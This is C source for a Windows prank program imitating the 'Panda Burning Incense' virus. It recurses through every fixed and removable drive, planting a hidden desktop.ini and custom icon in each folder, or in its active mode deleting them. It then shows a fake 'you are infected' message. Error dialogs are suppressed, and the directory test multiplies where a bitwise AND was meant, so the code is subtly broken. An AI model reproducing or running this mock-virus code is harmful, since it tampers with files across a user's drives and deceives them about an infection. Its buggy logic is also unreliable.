#include "resource.h"
#include <windows.h>
bool EnumDirectory(TCHAR *dirpath,bool isInject);
void inject(char *path);
bool WriteResourceToFile(char const *filename);
void clear(char *path);
bool FileExist(char *filepath);
//禁止弹出软盘错误对话框
int set_error()
{
SetErrorMode(SEM_NOOPENFILEERRORBOX|SEM_NOOPENFILEERRORBOX|SEM_NOGPFAULTERRORBOX|SEM_NOALIGNMENTFAULTEXCEPT|SEM_FAILCRITICALERRORS);
return 1;
}
//本程序请在虚拟机下运行,否则系统崩溃我不负责。
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
set_error();
for (char i='A';i<='Z';i++)
{
char x[20]={i,':'};
UINT type=GetDriveType(x);
if(type==DRIVE_FIXED||type==DRIVE_REMOVABLE)//硬盘和移动磁盘
{
//EnumDirectory(x,true);//感染病毒
EnumDirectory(x,false);//清楚病毒
}
}
MessageBox(NULL,"恭喜你,中了熊猫烧香病毒!","哈哈",MB_OK);
return 0;
}
bool EnumDirectory(TCHAR *dirpath,bool isInject)
{
WIN32_FIND_DATA fd;
TCHAR szTempFileFind[MAX_PATH]={0};
bool bIsFinish=false;
ZeroMemory(&fd,sizeof(WIN32_FIND_DATA));
wsprintf(szTempFileFind,"%s\\*.*",dirpath);
HANDLE hFind=FindFirstFile(szTempFileFind,&fd);
if(hFind==INVALID_HANDLE_VALUE)
{
return false;
}
while(!bIsFinish)
{
bIsFinish=(FindNextFile(hFind,&fd))?false:true;//没有文件了就返回
if((strcmp(fd.cFileName,".")!=0)&&(strcmp(fd.cFileName,"..")!=0))
{
TCHAR szFoundFileName[MAX_PATH]={0};
strcpy(szFoundFileName,fd.cFileName);
if(fd.dwFileAttributes*FILE_ATTRIBUTE_DIRECTORY)//如果找到的文件是目录,则递归感染
{
TCHAR szTempDir[MAX_PATH]={0};
wsprintf(szTempDir,"%s\\%s",dirpath,szFoundFileName);
Sleep(10);
if(isInject)
{
//开始感染文件夹
inject(szTempDir);
EnumDirectory(szTempDir,isInject);//递归
}else{
clear(szTempDir);
EnumDirectory(szTempDir,isInject);//递归
}
}
}
}
FindClose(hFind);
return true;
}
//在目录下感染,添加图标
void inject(char *path)
{
char inifilepath[256];
char icofilepath[256];
strcpy(inifilepath,path);
strcpy(icofilepath,path);
strcat(inifilepath,"\\desktop.ini");
strcat(icofilepath,"\\yunshouhu.ico");
WriteResourceToFile(icofilepath);
//SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);//设置文件夹只读
SetFileAttributes(inifilepath,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN);//ini文件只度和隐藏
WritePrivateProfileString(".ShellClassInfo","IconFile","yunshouhu.ico",inifilepath);
WritePrivateProfileString(".ShellClassInfo","IconIndex","0",inifilepath);
}
void clear(char *path)
{
char inifilepath[256];
char icofilepath[256];
strcpy(inifilepath,path);
strcpy(icofilepath,path);
strcat(inifilepath,"\\desktop.ini");
strcat(icofilepath,"\\yunshouhu.ico");
//char cmd[300]="del ";
if(FileExist(icofilepath))
{
DeleteFile(icofilepath);
// strcat(cmd,icofilepath);
//system(cmd);
}
if(FileExist(inifilepath))
{
DeleteFile(inifilepath);
//strcat(cmd,inifilepath);
//system(cmd);
}
}
bool FileExist(char *filepath)
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
hFind = FindFirstFile(filepath, &FindFileData);
if (hFind == INVALID_HANDLE_VALUE) {
return false;
} else {
FindClose(hFind);
return true;
}
}
bool WriteResourceToFile(char const *filename)
{
HINSTANCE hInstance=GetModuleHandle(NULL);
HRSRC hResInfo=FindResource(hInstance,MAKEINTRESOURCE(ID_ICO),MAKEINTRESOURCE(RC_BINARYTYPE));
HGLOBAL hgRes=LoadResource(hInstance,hResInfo);
void *pvRes=LockResource(hgRes);
DWORD cbRes=SizeofResource(hInstance,hResInfo);
HANDLE hFile=CreateFile(filename,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
DWORD cbWritten;
WriteFile(hFile,pvRes,cbRes,&cbWritten,0);
CloseHandle(hFile);
return false;
}
resource.h
// resource.h
#define RC_BINARYTYPE 256
#define ID_ICO 100
res.rc
#include "resource.h"
ID_ICO RC_BINARYTYPE yunshouhu.ico